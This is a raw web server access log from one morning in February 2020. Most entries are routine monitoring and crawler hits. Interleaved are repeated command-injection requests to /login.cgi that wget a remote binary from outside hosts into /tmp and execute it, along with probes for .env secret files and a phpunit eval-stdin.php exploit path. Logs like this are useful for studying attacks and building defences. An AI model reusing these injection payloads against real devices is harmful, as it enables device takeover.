212.91.246.72 - - [27/Feb/2020:07:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [27/Feb/2020:07:37:11 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:07:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.62.171.156 - - [27/Feb/2020:07:38:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:07:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.99.160.115 - - [27/Feb/2020:07:41:05 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
88.254.199.228 - - [27/Feb/2020:07:41:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.254.199.228 - - [27/Feb/2020:07:41:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:07:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:07:42:11 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:07:42:11 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.58.0"
71.6.232.9 - - [27/Feb/2020:07:42:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:07:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.196.129.205 - - [27/Feb/2020:07:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:07:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.165.184 - - [27/Feb/2020:07:51:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:07:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.139.154.92 - - [27/Feb/2020:07:54:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:07:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:07:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.9 - - [27/Feb/2020:08:04:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:08:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [27/Feb/2020:08:05:59 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
88.254.199.228 - - [27/Feb/2020:08:06:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:08:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:08:08:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:08:08:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:08:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:12:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.83.64.59 - - [27/Feb/2020:08:12:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0"
212.91.246.72 - - [27/Feb/2020:08:13:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:14:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:15:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:16:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
163.172.70.215 - - [27/Feb/2020:08:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0"
212.91.246.72 - - [27/Feb/2020:08:17:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:18:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:19:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:20:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.122.223.101 - - [27/Feb/2020:08:21:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:08:21:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:22:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:23:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [27/Feb/2020:08:24:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
81.215.172.209 - - [27/Feb/2020:08:25:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:08:25:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.150 - - [27/Feb/2020:08:26:21 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.152 - - [27/Feb/2020:08:26:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [27/Feb/2020:08:26:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:27:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:28:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:30:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:31:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.219.246.18 - - [27/Feb/2020:08:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:08:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:33:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:08:33:59 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:08:33:59 +0100] "GET /.env.test HTTP/1.1" 404 314 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:08:34:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:35:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:36:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:37:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.254.199.228 - - [27/Feb/2020:08:38:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
71.6.232.9 - - [27/Feb/2020:08:38:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:08:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:39:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.202.117.147 - - [27/Feb/2020:08:40:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:08:40:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:41:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:42:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.11.111 - - [27/Feb/2020:08:42:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "\"Mozilla/5.0"
172.105.11.111 - - [27/Feb/2020:08:43:12 +0100] "HEAD / HTTP/1.1" 200 - "-" "\"Mozilla/5.0"
212.91.246.72 - - [27/Feb/2020:08:43:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [27/Feb/2020:08:44:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [27/Feb/2020:08:44:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [27/Feb/2020:08:44:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:08:44:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [27/Feb/2020:08:44:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [27/Feb/2020:08:44:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:08:45:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:46:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:47:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.236.74.8 - - [27/Feb/2020:08:47:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:08:48:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:49:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:50:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.244.170.162 - - [27/Feb/2020:08:51:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [27/Feb/2020:08:51:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:52:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.13.143.8 - - [27/Feb/2020:08:52:35 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.105.166.102 - - [27/Feb/2020:08:52:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:08:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [27/Feb/2020:08:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [27/Feb/2020:08:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:08:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.144.15.189 - - [27/Feb/2020:08:59:54 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
18.144.15.189 - - [27/Feb/2020:08:59:54 +0100] "GET /.env.example HTTP/1.1" 404 317 "-" "curl/7.58.0"
212.91.246.72 - - [27/Feb/2020:09:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [27/Feb/2020:09:00:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [27/Feb/2020:09:00:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [27/Feb/2020:09:00:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [27/Feb/2020:09:01:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:09:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.228.253.137 - - [27/Feb/2020:09:04:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [27/Feb/2020:09:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [27/Feb/2020:09:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [27/Feb/2020:09:06:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [27/Feb/2020:09:06:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [27/Feb/2020:09:07:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [27/Feb/2020:09:07:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [27/Feb/2020:09:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.218.0.195 - - [27/Feb/2020:09:07:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
